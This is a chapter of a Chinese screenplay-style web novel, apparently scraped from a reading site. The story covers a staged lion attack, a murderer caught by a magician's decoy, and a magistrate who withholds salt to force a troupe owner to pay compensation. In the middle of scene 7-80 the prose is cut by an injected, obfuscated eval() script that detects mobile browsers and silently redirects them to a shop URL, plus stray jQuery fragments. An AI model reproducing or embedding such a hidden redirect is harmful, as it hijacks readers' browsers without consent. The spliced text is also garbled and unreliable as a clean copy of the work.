68. 第七篇 神奇的魔术师

作品:《洛家有女

    梁州,竞技场


    7-71 树林(夜,外)


    人物:俏四娘、守卫若干


    深夜,竞技场外,守卫们正在换岗,却听不远处传来女人的惨叫声。


    俏四娘:救命呀!救命呀!有人要杀我!


    守卫们上前一看,只见一个满脸是血的女人,朝这边跌跌撞撞地跑了过来,她的身后跟着几个黑影。守卫们举起火把,定睛一看,顿时吓出了一身冷汗。


    众守卫:是狮子!马戏团的狮子跑出来了!


    狮子追上了那个女人,将她扑倒在地,撕咬着她身上的肉,眼看着那个女人快要死了,守卫们不得不壮起胆子,挥舞着手中的火把和刀剑,试图驱散狮子。狮子像是饿极了,怎么都赶不走,甚至还反过来扑咬守卫们。就在这时,不远处传来一声口哨,狮子仿佛受到了召唤,纷纷抬起头,往哨声的方向奔去。守卫们这才救下那个女人,发现她已奄奄一息。


    梁州,茂源城


    7-72 马车车厢(日,内)


    人物:张正清、洛宁


    天刚亮,洛宁便被张正清叫了起来,赶去县衙。


    洛宁:(揉揉眼睛)张大哥,这会儿去县衙是不是有点儿早了?熊大人还没起床呢!


    张正清:刚刚接到消息,昨晚在竞技场里,又发生了一起……嗯,意外。


    洛宁:(一下子清醒过来)又发生了一起?


    张正清:马戏团的狮子从笼子里跑了出来,袭击了俏四娘,差点儿把她当成夜宵给吃了。


    洛宁:不用说,肯定是薛老板的同伙儿,想要杀人灭口!


    张正清:那个同伙儿已经被熊大人抓起来了。


    洛宁:谁?


    张正清:驯兽师富真,那些狮子就是他养的。


    洛宁:你刚才说“嗯,意外”,是什么意思?


    张正清:富真说笼子的锁坏了,他还没来得及修好,原以为狮子不会跑出来,没想到它们却跑出来了。


    洛宁:你怀疑那些狮子是他故意放出来的?


    张正清:昨晚在竞技场的守卫说,俏四娘在被狮子追赶时,嘴里嚷嚷着有人要杀她。


    洛宁:这个人是富真吗?


    张正清:恐怕只有俏四娘知道。


    洛宁:她怎么样了?


    张正清:伤的很重,不过还活着。


    洛宁:啧啧,这个演出团可真邪门,一会儿是动物、一会儿是人,接二连三地出了事。要我说,还是趁早把他们送走了吧!


    张正清:我又何尝不是这么想呢!唉!


    7-73 县衙,大牢(日,内)


    人物:富真、衙役若干


    面对审问,富真一脸平静地替自己辩解。


    富真:笼子坏了,没有及时修好,是我的疏忽。可这件事演出团里人人都知道,并不是只有我才能把它们从笼子里放出来。


    梁州,竞技场


    7-74 帐篷(日,外)


    人物:张正清、洛宁、陈仵作


    演出团的帐篷,分列在竞技场的两旁,一边居住着歌舞团的人,另一边居住着马戏团的人。


    洛宁:奇怪!俏四娘是歌舞团的领队,她的帐篷位于竞技场的右侧,与马戏团之间尚有一段距离,那些狮子为何没有跑去别的帐篷里、而偏偏跑去了她的帐篷里?


    张正清:那些狮子都是受过训练的。


    洛宁:我听胡大哥说,昨晚袭击俏四娘的那些狮子,不是被守卫们赶走的,而是被口哨声引走的。如此说来,驯兽师岂不是救了俏四娘?


    张正清:既然马戏团的笼子,人人都能打开;那么驯兽师的口哨声,人人也都能模仿。


    洛宁:会是谁呢?


    陈仵作:(从俏四娘的帐篷里走出,手里拿着一个碗)洛姑娘,你瞧瞧,这是什么?


    碗里有一坨深红色的泥巴,洛宁伸手取了点儿,放在鼻尖嗅了嗅。


    张正清:是什么?


    洛宁:是一些药粉,用猪血调和的。


    张正清:干什么用?


    洛宁:应该是用来敷脸的。


    张正清:(皱眉)这种东西也敢往脸上涂,不嫌恶心吗?


    洛宁:张大哥,你说那些狮子会不会是被猪血的气味儿吸引过来的?


    张正清:守卫说,俏四娘向他们求救时,满脸都是血,昨晚袭击她的狮子不止一头,如果被它们抓住的话,凭她的力气,是很难挣脱的。


    洛宁:所以说,她脸上的血,不是她自己的血,而是猪血。


    张正清:难怪狮子会追着她不放呢!唉,你们这些女人,爱美的话,是不是也该有个分寸?用完了猪血,是不是还打算再用用人血呀?


    洛宁:(冲着他做了个鬼脸)只有你想不到的,没有我们不敢用的。嘻嘻!


    因为说不清到底是人为还是意外,熊知县只好先放了富真,待俏四娘苏醒之后,再作打算。


    7-75 帐篷(夜,内)


    人物:孟悲欢、富真、熊知县及其手下


    富真从外面打水回来,见孟悲欢站在笼子前,望着里面的狮子。


    富真:孟先生?


    孟悲欢:你让它们饿了三天,对不对?


    富真:什么?


    孟悲欢:娜娜发疯,并不是一桩意外,对不对?


    富真:孟先生,我听不懂你在说些什么。


    富真的嘴上虽这么说,眼神却渐渐变得凌厉。


    孟悲欢:一切都是因为薛老板太贪心了,对不对?


    富真:孟先生,你到底想说些什么?


    孟悲欢:如果俏四娘醒了,她会不会把你们那晚杀害管家的事说出来呢?她与你合谋,按理不该说,可你想杀她灭口,情况就变了。


    富真:(冷笑一声)那晚是你在吹口哨吧?如果你不多管闲事的话,她这会儿早就死了!


    孟悲欢:知道真相的人这么多,你杀得完吗?


    富真:杀了你之后,就再也不会有人知道了!


    富真朝孟悲欢扑了过去,两个人扭打在一起。孟悲欢的个头儿虽高,力气却远不如富真,很快便被他摁在了地上。富真的拳头如雨点般落下,孟悲欢起初还挣扎了几下,后来便一动不动了。见他昏死过去,富真抄起铁钩,对准他的头,狠命地一敲,孟悲欢就断气了。


    富真:哼,这下我倒要看看,还有谁敢威胁我……


    话音刚落,身后传来一个熟悉的声音。


    孟悲欢:熊大人,您可看清楚了,这家伙想杀我!


    富真吓了一跳,低头一看,那个被他打死的孟悲欢,竟变成了一个枕头,而真正的孟悲欢,正站在熊知县的身边,冲着他笑呢!


    富真:怎……怎么会这样?


    孟悲欢:呵呵,富真,你可不要忘了,我是个魔术师哟!


    熊知县:给本官拿下!


    公差们一拥而上,将富真擒住。


    熊知县:富真,这下你还想狡辩吗?


    富真:(恶狠狠地瞪着孟悲欢)是他故意陷害我!


    熊知县:就算没有他,本官也照样要抓你。俏四娘已经醒了过来,她告诉本官,管家是你杀的!


    梁州,郊外


    7-76 马路上(日,外)


    人物:于烈、孙捕头、捕快若干


    几个官差模样的人一路策马前行。


    孙捕头:(指着空中)大人,您瞧!好大的一只鸟!


    于烈:那不是鸟,是风筝。


    孙捕头:风筝?怎么会有这么大的风筝?我长这么大,还从来没见过呢!


    于烈:我听说凤凰城这几日正在办风筝节,不如今晚我们在这里住下,我给你们放一天假,你们也去凑凑热闹。


    众捕快:好啊好啊!大人,咱们快走吧!


    梁州,凤凰城


    7-77 督察府,前门(日,外)


    人物:于烈、田佳


    于烈只身来到督察府,正碰见田佳从里面跑出来,手里拿着一只风筝。


    于烈:田姑娘?


    田佳:咦?于大人!您怎么来了?


    于烈:我路过凤凰城,过来拜访一下张督察。


    田佳:呀,您来的可真不巧,他出去了。


    于烈:哦,是吗?那洛姑娘呢?她在不在?


    田佳:她也跟他一起出去了。


    于烈:(显然有些失望)这样啊,那他们什么时候回来?


    田佳:我刚刚接到消息,说是那边的案子已经告破,不过还有些事情没办完,怕是要再耽搁几日。


    于烈:这么说,他们今天应该回不来了?


    田佳:是啊!您若是有什么事,不妨告诉我,我替您转达。


    于烈:哦,倒也没什么事。


    田佳:于大人,您瞧瞧我这个风筝,扎得怎么样?


    于烈:嗯,挺不错。


    田佳:于大人,凤凰城这几日正在办风筝节,您既然来了,不妨也过去瞧瞧吧,可热闹了!


    于烈:哦,不了!我的手下还在城外等着我,我就不去了!


    田佳:哦,那行吧!您慢走!


    7-78 天地会总会,前门(日,外)


    人物:于烈、余守泰


    离开了督察府,于烈正打算回客栈,当路过一户人家的宅院时,一股子木兰花香,随风飘来。


    于烈:洛姑娘?(抬头望了望眼前的宅院)这不是洛府吗?难不成她在家?


    他想进去瞧瞧,又找不到合适的理由,在门外踌躇了半天,见里面出来一个人,便上前问道。


    于烈:这位大哥,在下刚刚路过这里,忽然闻到了一股非常奇妙的花香,想请问一下您,这股花香从何而来?


    余守泰:这位公子,您是外地人吧?难怪您会不知道!这股花香是从咱们府里的那棵神树上散发出来的。


    于烈:神树?我还以为是从人的身上散发出来的呢!


    余守泰:人的身上也有!洛府的二小姐,您听说过没?她的身上天生就是这个味儿!


    于烈:天生?


    余守泰:对呀!宁姑娘从一生下来,身上就自带一股花香。她虽然是在聚胜古都长大的,可身上的花香,却跟咱们府里的这棵神树一模一样,您说巧不巧?


    于烈:呵呵,可真是太巧了!如果有缘的话,我真想见一见她。


    余守泰:人家可是洛府的二小姐,岂是谁想见就能见的?


    于烈:这位大哥,在下并没有冒犯洛姑娘的意思,只因心中好奇,想远远地看上一眼。


    余守泰:今儿不行,她没在家。不过您若是想瞧瞧那棵神树,我倒是可以给您带个路。


    于烈:这样行吗?


    余守泰:若换成别人肯定不行,但公子您的运气好,偏偏碰上了我。实话告诉您吧,在下是洛府的花匠,那棵神树如今归我照料,我想带一两个人进去长长见识,倒也不是什么难事儿。


    于烈:是吗?那就有劳这位大哥了!


    7-79 洛府,木兰小院,木兰花树下(日,外)


    人物:于烈、余守泰


    于烈跟着余守泰来到了木兰小院,望着满树绽放的木兰花,于烈十分惊讶。


    于烈:这个季节,木兰花应该已经谢了,为何这棵树上的木兰花却开的如此绚烂?


    余守泰:要不怎么说它是一棵神树呢!


    于烈:这么美的花,能让我摘两朵带回去吗?


    余守泰:这个恐怕不行!人家洛堂主特意交代过了,树上的花,一朵都不能少。您若是摘走了,我可是要挨骂的。


    于烈:是吗?那真是太遗憾了!


    7-80 客栈,客房(日,内)


    人物:于烈


    从洛府回来后,见手下的那些人还没回来,于烈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007415|194058||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便泡了一壶茶,在屋里看书。他不管去哪里,都习惯于带上几本书,闲来无事时翻看一下。只是今天,他的心有些乱,总是惦记着那股木兰花香。


    于烈:(笑叹)呵呵,天底下终于有一件事能让我分神了。


    想到这里,他索性合上书,走到窗前,仰望远处天空上的风筝。那只巨型风筝就像一朵乌云,遮住了太阳,上面似乎还悬着一个人,她衣袂飘飘,犹如天女下凡,不断地将花瓣洒向地上的人们。


    于烈:呵呵,凤凰城这个地方,果然比京城有趣多了!


    梁州,竞技场


    7-81 帐篷(日,内)


    人物:薛汉、成员若干


    富真被抓之后,薛汉也被放了出来。这一日,他派了两个演出团的人去城里买盐,一天过去后,他俩空着手回来了。


    薛汉:咦?你俩怎么空着手呀?我不是让你们去买盐吗?盐呢?你们可别告诉我,你们拿着我的钱去找乐子了!


    成员甲:(掏出钱袋子)老板!您的钱都在这里,分文未少!


    薛汉:分文未少?什么意思?你俩去没去盐庄呀?


    成员乙:我俩去了,可人家说盐没了,让我们改天再去。


    薛汉:城里又不是只有一家盐庄,这家没有,你俩不会去别家买吗?真是死脑筋!


    成员甲:城里的盐庄我俩都跑遍了,都是一样的说法。


    薛汉:一样的说法?怎么可能!肯定是你俩又在半路上开小差了!说!你俩去哪儿了?


    成员乙:我俩真的只去了盐庄,可不管到哪一家,都说没有。


    薛汉:你俩当我是三岁小孩吗?像这种愚蠢的借口,我才不会信呢!


    成员甲:您若不信的话,可以自己去瞧瞧嘛!


    薛汉:去就去!如今我已经洗脱了嫌疑,就算是知县大人见着我,也不敢把我怎么样!哼!


    梁州,茂源城


    7-80 盐庄(日,内)


    人物:薛汉、伙计


    薛汉来到盐庄里。


    薛汉:伙计,给我来几包盐。


    盐庄伙计:您是薛老板吧?真不好意思,小店的盐卖完了!


    薛汉:卖完了?(指着伙计身后的柜子)那柜子里面是什么?难道不是盐吗?


    盐庄伙计:那些是酒楼里订的货,人家已经付了钱,过两天就要来取。


    薛汉:你不是还要进货吗?你先把那些盐卖给我,等他们来了,货也到了。


    盐庄伙计:这可不好说。咱们收了人家的钱,总不能让人家白跑一趟吧?薛老板,您还是去别家瞧瞧吧!


    无奈之下,薛汉只好又去了另一家盐庄,结果同样被告知没货了。


    薛汉:怎么会这样?刚才出去的那个人,手里不是拿着几包盐吗?怎么我一来,就没货了?


    盐庄伙计:最后的那两袋,被那个人一下子全买走了。您还是过几日再来吧!


    薛汉跑了一家又一家盐庄,都是同样的没货。他心里觉得纳闷,却又不知为何,便悄悄地躲在最后那家盐庄的门外,想瞧瞧它是不是真的没盐了。不一会儿,又来了一个客人,盐庄伙计二话不说,从柜子里拿出几袋盐,卖给了他。


    薛汉:(立刻冲进盐庄里,指着伙计骂)岂有此理!你店里明明有盐,为何不卖给我?是不是见我从外地来的,所以就觉得我好欺负呀?


    盐庄伙计:薛老板,我们为何不敢把盐卖给您,您的心里应该比我们更清楚!


    薛汉:为何?


    盐庄伙计:这是知县大人的意思,要不您去问问他吧!


    7-81 县衙(日,内)


    人物:薛汉、熊知县


    薛汉气冲冲地来到县衙,找熊知县问个究竟。


    薛汉:知县大人,你为何不许他们把盐卖给我?我又不是不给钱!


    熊知县:钱不是万能的。


    薛汉:可不吃盐是万万不能的!


    熊知县:不对吧!薛老板,你不是向来把钱看得比命更重吗?有钱就行了,还吃什么盐呢!


    薛汉:你……噢,我明白了!你是在故意卡我呀!不就是因为我没付赔偿金吗?


    熊知县:不着急!这笔钱本官先替你垫上,你什么时候把钱凑齐了,什么时候再还给本官!


    薛汉:我要离开茂源城!


    熊知县:这个恐怕不行!官司未了,本官若放你走了,怎么跟苦主交代呀?


    薛汉:那你让他们把盐卖给我!


    熊知县:薛老板,凡事总要有个先来后到吧!等赔偿金的事解决了,你的盐自然就有了。


    薛汉:你你你!简直是个无赖!


    梁州,竞技场


    7-82 帐篷(夜,内)


    人物:薛汉、成员若干


    薛汉气呼呼地回来了。


    成员甲:没有盐的话,怎么吃饭呀?再这样下去,咱们演出团只好散伙儿了!


    成员乙:老板,要我说,您还是答应人家吧!钱这个东西,有去就有来,等咱们离开了茂源城,很快就能再挣回来。


    薛汉:可我舍不得呀!那么一大笔钱,一下子全给了他们,这不等于要了我的老命吗?


    成员甲:不吃盐的话,同样要命!


    成员乙:反正没盐吃的话,我们就不干了!


    成员甲:对呀!演出那么辛苦,若连一口盐都吃不上的话,挣再多的钱又有何用?


    成员乙:吃不上盐的话,还能勉强捱上几日,如果连米面油都买不到的话,怎么办呀?


    薛汉:行了行了!你俩别说了!容我再考虑考虑!


    成员乙:老板,盐缸已经见底了,您老还是快点儿拿个主意吧!


    犹豫了良久,薛老板方才狠下心来,答应赔付,钱交了之后,熊知县方才签发文书,放演出团的人离开茂源城。薛老板似乎一刻也不肯多待,连夜便带着他们走了。